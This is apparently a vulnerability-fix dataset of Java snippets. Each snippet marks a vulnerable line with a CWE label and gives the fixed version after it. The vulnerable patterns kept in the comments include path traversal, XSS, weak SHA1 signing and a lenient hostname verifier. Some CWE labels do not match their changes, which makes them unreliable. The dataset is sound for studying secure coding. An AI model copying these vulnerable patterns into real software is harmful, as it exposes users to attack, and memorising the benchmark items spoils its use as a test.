StringBuilder();\n\t\tif (StringHelper.containsNonWhitespace(subjectElement.getValue())) {\n\t\t\tsubjectSb.append(subjectEle<|endoftext|>"} +{"language": "java", "text": "d) return; // escape hatch\n \n // the registerService call can be slow. run these asynchronously\n MasterComputer.threadPoolForRemoting.submit(new Callable() {\n public Object call() {\n try {\n jmdns = JmDNS.create();\n\n Map props = new HashMap();\n String rootURL = jenkins.getRootUrl();\n if (rootURL==null) return null;\n\n props.put(\"url\", rootURL);\n try {\n props.put(\"version\",String.valueOf(Jenkins.getVersion()));\n } catch (IllegalArgumentException e) {\n // failed to parse the version number\n }\n\n TcpSlaveAgentListener tal = jenkins.getTcpSlaveAgentListener();\n if (tal!=null)\n props.put(\"slave-port\",String.valueOf(tal.getPort()));\n // BUG: NVD-CWE-noinfo Insufficient Information\n // props.put(\"server-id\", Util.getDigestOf(jenkins.getSecretKey()));\n // FIXED: \n props.put(\"server-id\", jenkins.getLegacyInstanceId());\n\n URL jenkins_url = new URL(rootURL);\n int jenkins_port = jenkins_url.getPort();\n if (jenkins_port == -1) {\n jenkins_port = 80;\n }\n if (jenkins_url.getPath().length() > 0) {\n props.put(\"path\", jenkins_url.getPath());\n }\n\n jmdns.registerService(ServiceInfo.create(\"_hudson._tcp.local.\",\"jenkins\",\n jenkins_port,0,0,props));\t// for backward compatibility\n jmdns.registerService(ServiceInfo.create(\"_jenkins._tcp.local.\",\"jenkins\",\n jenkins_port,0,0,props));\n\n // Make Jenkins appear in Safari's Bonjour bookmarks\n jmdns.registerService(ServiceInfo.create(\"_http._tcp.local.\",\"Jenkins\",\n jenkins_port,0,0,props));\n } catch (IOException e) {\n LOGGER.log(Level.WARNING,\"Failed to advertise the service to DNS multi-cast\",e);\n }\n return null;\n <|endoftext|>"} +{"language": "java", "text": "x.params.x509certificate.extension.X509IpAddress;\nimport org.xwiki.crypto.pkix.params.x509certificate.extension.X509Rfc822Name;\nimport org.xwiki.crypto.signer.CMSSignedDataGenerator;\nimport org.xwiki.crypto.signer.CMSSignedDataVerifier;\nimport org.xwiki.crypto.signer.SignerFactory;\nimport org.xwiki.crypto.signer.param.CMSSignedDataGeneratorParameters;\nimport org.xwiki.crypto.signer.param.CMSSignedDataVerified;\nimport org.xwiki.crypto.signer.param.CMSSignerInfo;\nimport org.xwiki.script.service.ScriptService;\n\n/**\n * Script service allowing a user to create keys pairs and issue certificates.\n *\n * @version $Id$\n * @since 8.4RC1\n */\n@Component\n@Named(CryptoScriptService.ROLEHINT + '.' + RSACryptoScriptService.ROLEHINT)\n@Singleton\npublic class RSACryptoScriptService implements ScriptService\n{\n /**\n * The role hint of this component.\n */\n public static final String ROLEHINT = \"rsa\";\n\n @Inject\n @Named(\"RSA\")\n private KeyPairGenerator keyPairGenerator;\n\n @Inject\n // BUG: CWE-327 Use of a Broken or Risky Cryptographic Algorithm\n // @Named(\"SHA1withRSAEncryption\")\n // FIXED: \n @Named(\"SHA256withRSAEncryption\")\n private SignerFactory signerFactory;\n\n @Inject\n private Provider extensionBuilder;\n\n @Inject\n @Named(\"X509\")\n private CertificateGeneratorFactory certificateGeneratorFactory;\n\n @Inject\n private CMSSignedDataGenerator cmsSignedDataGenerator;\n\n @Inject\n @Named(\"X509\")\n private CertificateChainBuilder certificateChainBuilder;\n\n @Inject\n private CMSSignedDataVerifier cmsSignedDataVerifier;\n\n /**\n * Generate a new RSA key pair.\n *\n * The key strength will be {@value RSAKeyGenerationParameters#DEFAULT_STRENGTH}.\n * The key public exponent will be 0x10001.\n * The probability a chosen prime could not be a real prime will be smaller\n * than 2^-{@value RSAKeyGenerationParameters#DEFAULT_CERTAINTY}.\n *\n * @return an new asymmetric key pair.\n */\n public AsymmetricKeyPair generateKeyPair()\n {\n return keyPairGenerator.generate();\n }\n\n /**\n * Generate a new RSA key pair of given strength. The strength should be given in number of bytes, so for\n * a 2048 bits key, you should use 256 (bytes) as the integer parameter. The minimum valid s<|endoftext|>"} +{"language": "java", "text": " * @param pAllowed whether access is allowed or denied\n */\n protected AbstractConstantRestrictor(boolean pAllowed) {\n isAllowed = pAllowed;\n }\n\n /** {@inheritDoc} */\n public final boolean isHttpMethodAllowed(HttpMethod pMethod) {\n return isAllowed;\n }\n\n /** {@inheritDoc} */\n public final boolean isTypeAllowed(RequestType pType) {\n return isAllowed;\n }\n\n /** {@inheritDoc} */\n public final boolean isAttributeReadAllowed(ObjectName pName, String pAttribute) {\n return isAllowed;\n }\n\n /** {@inheritDoc} */\n public final boolean isAttributeWriteAllowed(ObjectName pName, String pAttribute) {\n return isAllowed;\n }\n\n /** {@inheritDoc} */\n public final boolean isOperationAllowed(ObjectName pName, String pOperation) {\n return isAllowed;\n }\n\n /** {@inheritDoc} */\n public final boolean isRemoteAccessAllowed(String... pHostOrAddress) {\n return isAllowed;\n }\n\n /** {@inheritDoc} */\n // BUG: CWE-352 Cross-Site Request Forgery (CSRF)\n // public boolean isCorsAccessAllowed(String pOrigin) {\n // FIXED: \n public boolean isOriginAllowed(String pOrigin, boolean pIsStrictCheck) {\n return isAllowed;\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "Parameters);\n\n if (connection instanceof HttpsURLConnection) {\n // handle the expected case (javax.net.ssl)\n HttpsURLConnection conn = (HttpsURLConnection) connection;\n conn.setHostnameVerifier(verifier);\n conn.setSSLSocketFactory(socketFactory);\n } else {\n // handle the deprecated sun case and other possible hidden API's\n // that are similar to the Sun cases\n try {\n Method method = connection.getClass().getMethod(\"getHostnameVerifier\");\n\n InvocationHandler handler = new ReflectionInvokationHandler(verifier) {\n public Object invoke(Object proxy,\n Method method,\n Object[] args) throws Throwable {\n try {\n return super.invoke(proxy, method, args);\n } catch (Exception ex) {\n // BUG: CWE-755 Improper Handling of Exceptional Conditions\n // return true;\n // FIXED:\n return false;\n }\n }\n };\n Object proxy = java.lang.reflect.Proxy.newProxyInstance(this.getClass().getClassLoader(),\n new Class[] {method.getReturnType()},\n handler);\n\n method = connection.getClass().getMethod(\"setHostnameVerifier\", method.getReturnType());\n method.invoke(connection, proxy);\n } catch (Exception ex) {\n //Ignore this one\n }\n try {\n Method getSSLSocketFactory = connection.getClass().getMethod(\"getSSLSocketFactory\");\n Method setSSLSocketFactory = connection.getClass()\n .getMethod(\"setSSLSocketFactory\", getSSLSocketFactory.getReturnType());\n if (getSSLSocketFactory.getReturnType().isInstance(socketFactory)) {\n setSSLSocketFactory.invoke(connection, socketFactory);\n } else {\n //need to see if we can create one - mostly the weblogic case. The\n <|endoftext|>"} +{"language": "java", "text": "\nimport org.olat.core.util.ZipUtil;\nimport org.olat.core.util.vfs.Quota;\nimport org.olat.core.util.vfs.VFSConstants;\nimport org.olat.core.util.vfs.VFSContainer;\nimport org.olat.core.util.vfs.VFSItem;\nimport org.olat.core.util.vfs.VFSLeaf;\nimport org.olat.core.util.vfs.VFSManager;\nimport org.olat.core.util.vfs.callbacks.VFSSecurityCallback;\nimport org.springframework.beans.factory.annotation.Autowired;\n\npublic class CmdUnzip extends BasicController implements FolderCommand {\n\n\tprivate int status = FolderCommandStatus.STATUS_SUCCESS;\n\t\n\tprivate Translator translator;\n\tprivate DialogBoxController lockedFiledCtr;\n\t\n\t@Autowired\n\tprivate VFSRepositoryService vfsRepositoryService;\n\t@Autowired\n\tprivate NotificationsManager notificationsManager;\n\t\n\tpublic CmdUnzip(UserRequest ureq, WindowControl wControl) {\n\t\tsuper(ureq, wControl);\n\t}\n\t\n\t@Override\n\tpublic Controller execute(FolderComponent folderComponent, UserRequest ureq, WindowControl wContr, Translator trans) {\n\t\tthis.translator = trans;\n\t\t// BUG: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n\t\t// FileSelection selection = new FileSelection(ureq, folderComponent.getCurrentContainerPath());\n\t\t// FIXED: \n\t\tFileSelection selection = new FileSelection(ureq, folderComponent.getCurrentContainer(), folderComponent.getCurrentContainerPath());\n\t\tVFSContainer currentContainer = folderComponent.getCurrentContainer();\n\t\tif (currentContainer.canWrite() != VFSConstants.YES)\n\t\t\tthrow new AssertException(\"Cannot unzip to folder. Writing denied.\");\n\t\t\t\n\t //check if command is executed on a file containing invalid filenames or paths - checks if the resulting folder has a valid name\n\t\tif(selection.getInvalidFileNames().size()>0) {\t\t\t\t\n\t\t\tstatus = FolderCommandStatus.STATUS_INVALID_NAME;\n\t\t\treturn null;\n\t\t}\t\t\n\t\t\n\t\tList lockedFiles = new ArrayList<>();\n\t\tfor (String sItem:selection.getFiles()) {\n\t\t\tVFSItem vfsItem = currentContainer.resolve(sItem);\n\t\t\tif (vfsItem instanceof VFSLeaf) {\n\t\t\t\ttry {\n\t\t\t\t\tlockedFiles.addAll(checkLockedFiles((VFSLeaf)vfsItem, currentContainer, ureq.getIdentity()));\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\tString name = vfsItem == null ? \"NULL\" : vfsItem.getName();\n\t\t\t\t\tgetWindowControl().setError(translator.translate(\"FileUnzipFailed\", new String[]{name}));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tif(!lockedFiles.isEmpty()) {\n\t\t\tString msg = FolderCommandHelper.renderLockedMessageAsHtml(trans, <|endoftext|>"} +{"language": "java", "text": "s.VFSContainer;\nimport org.olat.core.util.vfs.VFSItem;\nimport org.olat.core.util.vfs.VFSLockApplicationType;\nimport org.olat.core.util.vfs.VFSLockManager;\n\npublic class CmdDelete extends BasicController implements FolderCommand {\n\n\tprivate static int status = FolderCommandStatus.STATUS_SUCCESS;\n\n\tprivate Translator translator;\n\tprivate FolderComponent folderComponent;\n\tprivate FileSelection fileSelection;\n\n\tprivate DialogBoxController dialogCtr;\n\tprivate DialogBoxController lockedFiledCtr;\n\t\n\tprivate final boolean versionsEnabled;\n\tprivate final VFSLockManager lockManager;\n\t\n\tprotected CmdDelete(UserRequest ureq, WindowControl wControl) {\n\t\tsuper(ureq, wControl);\n\t\tversionsEnabled = CoreSpringFactory.getImpl(VFSVersionModule.class).isEnabled();\n\t\tlockManager = CoreSpringFactory.getImpl(VFSLockManager.class);\n\t}\n\n\t@Override\n\tpublic Controller execute(FolderComponent fc, UserRequest ureq, WindowControl wContr, Translator trans) {\n\t\tthis.translator = trans;\n\t\tthis.folderComponent = fc;\n\t\t// BUG: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n\t\t// this.fileSelection = new FileSelection(ureq, fc.getCurrentContainerPath());\n\t\t// FIXED:\n\t\tthis.fileSelection = new FileSelection(ureq, fc.getCurrentContainer(), fc.getCurrentContainerPath());\n\n\t\tVFSContainer currentContainer = folderComponent.getCurrentContainer();\n\t\tList lockedFiles = hasLockedFiles(currentContainer, fileSelection);\n\t\tif (lockedFiles.isEmpty()) {\n\t\t\tString msg = trans.translate(\"del.confirm\") + \"

\" + fileSelection.renderAsHtml() + \"

\";\t\t\n\t\t\t// create dialog controller\n\t\t\tdialogCtr = activateYesNoDialog(ureq, trans.translate(\"del.header\"), msg, dialogCtr);\n\t\t} else {\n\t\t\tString msg = FolderCommandHelper.renderLockedMessageAsHtml(trans, lockedFiles);\n\t\t\tList buttonLabels = Collections.singletonList(trans.translate(\"ok\"));\n\t\t\tlockedFiledCtr = activateGenericDialog(ureq, trans.translate(\"lock.title\"), msg, buttonLabels, lockedFiledCtr);\n\t\t}\n\t\treturn this;\n\t}\n\t\n\tpublic List hasLockedFiles(VFSContainer container, FileSelection selection) {\n\t\tList lockedFiles = new ArrayList<>();\n\t\tfor (String file : selection.getFiles()) {\n\t\t\tVFSItem item = container.resolve(file);\n\t\t\tif (lockManager.isLockedForMe(item, getIdentity(), VFSLockApplicationType.vfs, null)) {\n\t\t\t\tlockedFiles.add(file);\n\t\t\t}\n\t\t}\n\t\treturn lockedFiles;\n\t}\n\n\t@Overr<|endoftext|>"} +{"language": "java", "text": "ARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock;\n\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\n\nimport com.github.steveice10.mc.protocol.data.game.ClientRequest;\nimport com.github.steveice10.mc.protocol.packet.ingame.client.ClientRequestPacket;\nimport com.nukkitx.protocol.bedrock.packet.ShowCreditsPacket;\n\n@Translator(packet = ShowCreditsPacket.class)\npublic class BedrockShowCreditsTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(ShowCreditsPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, ShowCreditsPacket packet) {\n if (packet.getStatus() == ShowCreditsPacket.Status.END_CREDITS) {\n ClientRequestPacket javaRespawnPacket = new ClientRequestPacket(ClientRequest.RESPAWN);\n session.sendDownstreamPacket(javaRespawnPacket);\n }\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "s);\n mOutputStream = new BluetoothOutputStream(this);\n }\n private BluetoothSocket(BluetoothSocket s) {\n mUuid = s.mUuid;\n mType = s.mType;\n mAuth = s.mAuth;\n mEncrypt = s.mEncrypt;\n mPort = s.mPort;\n mInputStream = new BluetoothInputStream(this);\n mOutputStream = new BluetoothOutputStream(this);\n mServiceName = s.mServiceName;\n }\n private BluetoothSocket acceptSocket(String RemoteAddr) throws IOException {\n BluetoothSocket as = new BluetoothSocket(this);\n as.mSocketState = SocketState.CONNECTED;\n FileDescriptor[] fds = mSocket.getAncillaryFileDescriptors();\n if (DBG) Log.d(TAG, \"socket fd passed by stack fds: \" + fds);\n if(fds == null || fds.length != 1) {\n Log.e(TAG, \"socket fd passed from stack failed, fds: \" + fds);\n as.close();\n throw new IOException(\"bt socket acept failed\");\n }\n as.mSocket = new LocalSocket(fds[0]);\n // BUG: NVD-CWE-noinfo Insufficient Information\n // \n // FIXED: \n as.mPfd = new ParcelFileDescriptor(fds[0]);\n try {\n as.mSocket.closeExternalFd();\n } catch (IOException e) {\n Log.e(TAG, \"closeExternalFd failed\");\n }\n as.mSocketIS = as.mSocket.getInputStream();\n as.mSocketOS = as.mSocket.getOutputStream();\n as.mAddress = RemoteAddr;\n as.mDevice = BluetoothAdapter.getDefaultAdapter().getRemoteDevice(RemoteAddr);\n as.mPort = mPort;\n return as;\n }\n /**\n * Construct a BluetoothSocket from address. Used by native code.\n * @param type type of socket\n * @param fd fd to use for connected socket, or -1 for a new socket\n * @param auth require the remote device to be authenticated\n * @param encrypt require the connection to be encrypted\n * @param address remote device that this socket can connect to\n * @param port remote port\n * @throws IOException On error, for example Bluetooth not available, or\n * insufficient privileges\n */\n private BluetoothSocket(int type, int fd, boolean auth, boolean encrypt, String address,\n int port) throws IOException {\n this(type, fd, auth<|endoftext|>"} +{"language": "java", "text": " HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock;\n\nimport com.nukkitx.protocol.bedrock.packet.ItemStackRequestPacket;\nimport org.geysermc.connector.inventory.Inventory;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\nimport org.geysermc.connector.network.translators.inventory.InventoryTranslator;\n\n/**\n * The packet sent for server-authoritative-style inventory transactions.\n */\n@Translator(packet = ItemStackRequestPacket.class)\npublic class BedrockItemStackRequestTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(ItemStackRequestPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, ItemStackRequestPacket packet) {\n Inventory inventory = session.getOpenInventory();\n if (inventory == null)\n return;\n\n InventoryTranslator translator = session.getInventoryTranslator();\n translator.translateRequests(session, inventory, packet.getRequests());\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "spector.ClassIntrospector;\nimport jodd.introspector.CtorDescriptor;\nimport jodd.introspector.PropertyDescriptor;\nimport jodd.introspector.Setter;\nimport jodd.typeconverter.TypeConverterManager;\n\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.HashSet;\nimport java.util.LinkedHashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.function.Supplier;\n\n/**\n * Just a base class of {@link jodd.json.JsonParser} that contains\n * various utilities, to reduce the size of a parser.\n */\npublic abstract class JsonParserBase {\n\n\tprotected static final Supplier HASMAP_SUPPLIER = LinkedHashMap::new;\n\tprotected static final Supplier LAZYMAP_SUPPLIER = LazyMap::new;\n\n\tprotected static final Supplier ARRAYLIST_SUPPLIER = ArrayList::new;\n\tprotected static final Supplier LAZYLIST_SUPPLIER = LazyList::new;\n\n\tprotected Supplier mapSupplier = HASMAP_SUPPLIER;\n\tprotected Supplier listSupplier = ARRAYLIST_SUPPLIER;\n\t// BUG: CWE-502 Deserialization of Untrusted Data\n\t// \n\t// FIXED: \n\tprotected List classnameWhitelist;\n\n\t/**\n\t * Creates new instance of {@link jodd.json.MapToBean}.\n\t */\n\tprotected MapToBean createMapToBean(final String classMetadataName) {\n\t\treturn new MapToBean(this, classMetadataName);\n\t}\n\n\t// ---------------------------------------------------------------- object tools\n\n\t/**\n\t * Creates new type for JSON array objects.\n\t * It returns a collection.\n\t * Later, the collection will be converted into the target type.\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tprotected Collection newArrayInstance(final Class targetType) {\n\t\tif (targetType == null ||\n\t\t\ttargetType == List.class ||\n\t\t\ttargetType == Collection.class ||\n\t\t\ttargetType.isArray()) {\n\n\t\t\treturn listSupplier.get();\n\t\t}\n\n\t\tif (targetType == Set.class) {\n\t\t\treturn new HashSet<>();\n\t\t}\n\n\t\ttry {\n\t\t\treturn (Collection) targetType.getDeclaredConstructor().newInstance();\n\t\t} catch (Exception e) {\n\t\t\tthrow new JsonException(e);\n\t\t}\n\t}\n\n\t/**\n\t * Creates new object or a HashMap if type is not specified.\n\t */\n\tprotected Object newObjectInstance(final Class targetType) {\n\t\tif (targetType == null ||\n\t\t\ttargetType == Map.class) {\n\n\t\t\treturn mapSupplier.get();\n\t\t}\n\n\t\tClassD<|endoftext|>"} +{"language": "java", "text": "icationException failed) {\n Properties excMap = getExceptionMappings();\n\t\tString failedClassName = failed.getClass().getName();\n\t\tString whereFrom = request.getParameter(\"from\");\n\t\trequest.getSession().setAttribute(\"from\", whereFrom);\n\t\treturn excMap.getProperty(failedClassName, getAuthenticationFailureUrl());\n }\n\n @Override\n protected void onSuccessfulAuthentication(HttpServletRequest request, HttpServletResponse response, Authentication authResult) throws IOException {\n super.onSuccessfulAuthentication(request,response,authResult);\n // make sure we have a session to store this successful authentication, given that we no longer\n // let HttpSessionContextIntegrationFilter2 to create sessions.\n // HttpSessionContextIntegrationFilter stores the updated SecurityContext object into this session later\n // (either when a redirect is issued, via its HttpResponseWrapper, or when the execution returns to its\n // doFilter method.\n // BUG: CWE-287 Improper Authentication\n // \n // FIXED: \n request.getSession().invalidate();\n request.getSession();\n }\n\n /**\n * Leave the information about login failure.\n *\n *

\n * Otherwise it seems like Acegi doesn't really leave the detail of the failure anywhere.\n */\n @Override\n protected void onUnsuccessfulAuthentication(HttpServletRequest request, HttpServletResponse response, AuthenticationException failed) throws IOException {\n super.onUnsuccessfulAuthentication(request, response, failed);\n LOGGER.log(Level.INFO, \"Login attempt failed\", failed);\n }\n\n private static final Logger LOGGER = Logger.getLogger(AuthenticationProcessingFilter2.class.getName());\n}\n<|endoftext|>"} +{"language": "java", "text": "M,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock;\n\nimport com.github.steveice10.mc.protocol.data.game.entity.metadata.Position;\nimport com.github.steveice10.mc.protocol.packet.ingame.client.window.ClientUpdateJigsawBlockPacket;\nimport com.github.steveice10.mc.protocol.packet.ingame.client.world.ClientUpdateSignPacket;\nimport com.nukkitx.nbt.NbtMap;\nimport com.nukkitx.protocol.bedrock.packet.BlockEntityDataPacket;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\nimport org.geysermc.connector.utils.SignUtils;\n\n@Translator(packet = BlockEntityDataPacket.class)\npublic class BedrockBlockEntityDataTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(BlockEntityDataPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, BlockEntityDataPacket packet) {\n NbtMap tag = packet.getData();\n if (tag.getString(\"id\").equals(\"Sign\")) {\n // This is the reason why this all works - Bedrock sends packets every time you update the sign, Java only wants the final packet\n // But Bedrock sends one final packet when you're done editing the sign, which should be equal to the last message since there's no edits\n // So if the latest update does not match the last cached update then it's still being edited\n if (!tag.getString(\"Text\").equals(session.getLastSignMessage())) {\n session.setLastSignMessage(tag.getString(\"Text\"));\n return;\n }\n // Otherwise the two messages are identical and we can get to work deconstructing\n StringBuilder newMessage = new StringBuilder();\n // While Bedrock's sign lines are one string, Java's is an array of each line\n // (Initialized all with empty strings because it complains about null)\n String[] lines = new String[] {\"\", \"\", \"\", \"\"};\n int iterator = 0;\n // Keep track of th<|endoftext|>"} +{"language": "java", "text": "kage, srcPath);\n\n if (type.equals(GEN_CLIENT)) {\n if (srcPackage.equals(\"\")) {\n srcPath = srcPath.resolve(\"client\");\n implPath = implPath.resolve(\"client\");\n }\n\n if (Files.notExists(srcPath)) {\n Files.createDirectory(srcPath);\n }\n\n if (Files.notExists(implPath)) {\n Files.createDirectory(implPath);\n }\n\n }\n\n List genFiles = generateBalSource(type, definitionPath, reldefinitionPath, serviceName);\n writeGeneratedSources(genFiles, srcPath, implPath, type);\n }\n\n /**\n * Generates ballerina source for provided Open API Definition in {@code definitionPath}.\n * Generated source will be written to a ballerina module at {@code outPath}\n * Method can be user for generating Ballerina clients.\n *\n * @param executionPath Command execution path\n * @param definitionPath Input Open Api Definition file path\n // BUG: CWE-306 Missing Authentication for Critical Function\n // \n // FIXED:\n * @param serviceName service name\n * @param outPath Destination file path to save generated source files. If not provided\n * {@code definitionPath} will be used as the default destination path\n * @throws IOException when file operations fail\n * @throws BallerinaOpenApiException when code generator fails\n */\n public void generateClient(String executionPath, String definitionPath, String serviceName, String outPath)\n throws IOException, BallerinaOpenApiException {\n generate(GenType.GEN_CLIENT, executionPath, definitionPath, null, serviceName, outPath);\n }\n\n /**\n * Generates ballerina source for provided Open API Definition in {@code definitionPath}.\n * Generated source will be written to a ballerina module at {@code outPath}\n * Method can be user for generating Ballerina clients.\n *\n * @param executionPath Command execution path\n * @param definitionPath Input Open Api Definition file path\n * @param reldefinitionPath Relative definition path to be used in the generated ballerina code\n * @param serviceName service name for the generated service\n * @par<|endoftext|>"} +{"language": "java", "text": "ype.CORS_PREFLIGHT);\n this.type = type;\n return this;\n }\n\n /**\n * Sets the mapped path, encoded as defined in RFC3986.\n */\n public RoutingResultBuilder path(String path) {\n this.path = requireNonNull(path, \"path\");\n return this;\n }\n\n /**\n * Sets the specified query.\n */\n public RoutingResultBuilder query(@Nullable String query) {\n this.query = query;\n return this;\n }\n\n /**\n * Adds a decoded path parameter.\n */\n public RoutingResultBuilder decodedParam(String name, String value) {\n pathParams().put(requireNonNull(name, \"name\"), requireNonNull(value, \"value\"));\n return this;\n }\n\n /**\n * Adds an encoded path parameter, which will be decoded in UTF-8 automatically.\n */\n public RoutingResultBuilder rawParam(String name, String value) {\n pathParams().put(requireNonNull(name, \"name\"),\n // BUG: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n // ArmeriaHttpUtil.decodePath(requireNonNull(value, \"value\")));\n // FIXED: \n ArmeriaHttpUtil.decodePathParam(requireNonNull(value, \"value\")));\n return this;\n }\n\n /**\n * Sets the score.\n */\n public RoutingResultBuilder score(int score) {\n this.score = score;\n return this;\n }\n\n /**\n * Sets the negotiated producible {@link MediaType}.\n */\n public RoutingResultBuilder negotiatedResponseMediaType(MediaType negotiatedResponseMediaType) {\n this.negotiatedResponseMediaType = requireNonNull(negotiatedResponseMediaType,\n \"negotiatedResponseMediaType\");\n return this;\n }\n\n /**\n * Returns a newly-created {@link RoutingResult}.\n */\n public RoutingResult build() {\n if (path == null) {\n return RoutingResult.empty();\n }\n\n return new RoutingResult(type, path, query,\n pathParams != null ? pathParams.build() : ImmutableMap.of(),\n score, negotiatedResponseMediaType);\n }\n\n private ImmutableMap.Builder pathParams() {\n if (pathParams != null) {\n return pathParams;\n }\n r<|endoftext|>"} +{"language": "java", "text": " GmbH, http://www.frentix.com\n *

\n */\npackage org.olat.course.archiver;\n\nimport org.apache.logging.log4j.Logger;\nimport org.olat.core.gui.UserRequest;\nimport org.olat.core.logging.Tracing;\nimport org.olat.core.util.StringHelper;\nimport org.olat.core.util.prefs.Preferences;\nimport org.olat.core.util.xml.XStreamHelper;\n\nimport com.thoughtworks.xstream.XStream;\nimport com.thoughtworks.xstream.security.ExplicitTypePermission;\n\n/**\n * this class reads and writes XML serialized config data to personal gui prefs and retrieves them\n * \n * Initial Date: 21.04.2017\n * @author fkiefer, fabian.kiefer@frentix.com, www.frentix.com\n */\npublic class FormatConfigHelper {\n\t\n\tprivate static final String QTI_EXPORT_ITEM_FORMAT_CONFIG = \"QTIExportItemFormatConfig\";\n\tprivate static final Logger log = Tracing.createLoggerFor(FormatConfigHelper.class);\n\t\n\tprivate static final XStream configXstream = XStreamHelper.createXStreamInstance();\n\tstatic {\n\t\tClass[] types = new Class[] { ExportFormat.class };\n\t\t// BUG: CWE-91 XML Injection (aka Blind XPath Injection)\n\t\t// XStream.setupDefaultSecurity(configXstream);\n\t\t// FIXED:\n\t\tconfigXstream.addPermission(new ExplicitTypePermission(types));\n\t\tconfigXstream.alias(QTI_EXPORT_ITEM_FORMAT_CONFIG, ExportFormat.class);\n\t}\n\n\tpublic static ExportFormat loadExportFormat(UserRequest ureq) {\n\t\tExportFormat formatConfig = null;\n\t\tif (ureq != null) {\n\t\t\ttry {\n\t\t\t\tPreferences guiPrefs = ureq.getUserSession().getGuiPreferences();\n\t\t\t\tString formatConfigString = (String) guiPrefs.get(ExportOptionsController.class, QTI_EXPORT_ITEM_FORMAT_CONFIG);\n\t\t\t\tif(StringHelper.containsNonWhitespace(formatConfigString)) {\n\t\t\t\t\tformatConfig = (ExportFormat)configXstream.fromXML(formatConfigString);\n\t\t\t\t} else {\n\t\t\t\t\tformatConfig = new ExportFormat(true, true, true, true, true);\n\t\t\t\t}\n\t\t\t} catch (Exception e) {\n\t\t\t\tlog.error(\"could not establish object from xml\", e);\n\t\t\t\tformatConfig = new ExportFormat(true, true, true, true, true);\n\t\t\t}\n\t\t}\n\t\treturn formatConfig;\n\t}\n\t\n\tpublic static void updateExportFormat(UserRequest ureq, boolean responsecols, boolean poscol, boolean pointcol, boolean timecols, boolean commentcol) {\n\t\t// save new config in GUI prefs\n\t\tPreferences guiPrefs = ureq.getUserSession().getGuiPreferences();\n\t\tif (guiPrefs != null) {\n\t\t\tExportFormat formatConfig = new Export<|endoftext|>"} +{"language": "java", "text": ".go.server.presentation.html.HtmlElement;\nimport com.thoughtworks.go.server.presentation.html.HtmlRenderable;\n\nimport java.util.Map;\n\nimport static com.thoughtworks.go.server.presentation.html.HtmlAttribute.*;\nimport static com.thoughtworks.go.server.presentation.html.ListedElements.sequence;\n\npublic class FolderDirectoryEntry extends DirectoryEntry {\n private final DirectoryEntries subDirectory;\n\n public FolderDirectoryEntry(String fileName, String url, DirectoryEntries subDirectory) {\n super(fileName, url, \"folder\");\n this.subDirectory = subDirectory;\n }\n\n public DirectoryEntries getSubDirectory() {\n return subDirectory;\n }\n\n @Override\n protected HtmlRenderable htmlBody() {\n return sequence(\n HtmlElement.div(cssClass(\"dir-container\")).content(\n HtmlElement.span(cssClass(\"directory\")).content(\n HtmlElement.a(onclick(\"BuildDetail.tree_navigator(this)\"))\n // BUG: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n // .content(getFileName())\n // FIXED: \n .safecontent(getFileName())\n )\n ),\n HtmlElement.div(cssClass(\"subdir-container\"), style(\"display:none\"))\n .content(subDirectory)\n );\n }\n\n @Override\n public Map toJson() {\n Map json = super.toJson();\n json.put(\"files\", subDirectory.toJson());\n return json;\n }\n\n public void addFile(String fileName, String url) {\n subDirectory.addFile(fileName, url);\n }\n\n @Override\n public boolean equals(Object o) {\n if (this == o) return true;\n if (o == null || getClass() != o.getClass()) return false;\n\n FolderDirectoryEntry that = (FolderDirectoryEntry) o;\n\n if (!subDirectory.equals(that.subDirectory)) return false;\n\n return true;\n }\n\n @Override\n public int hashCode() {\n return subDirectory.hashCode();\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "_SESSION_CACHE_BINDING_KEY} key.\n * It also implicitly registers a {@link RemovalListener}, that releases the byte buffers as they are discarded.\n *\n * @param binder the 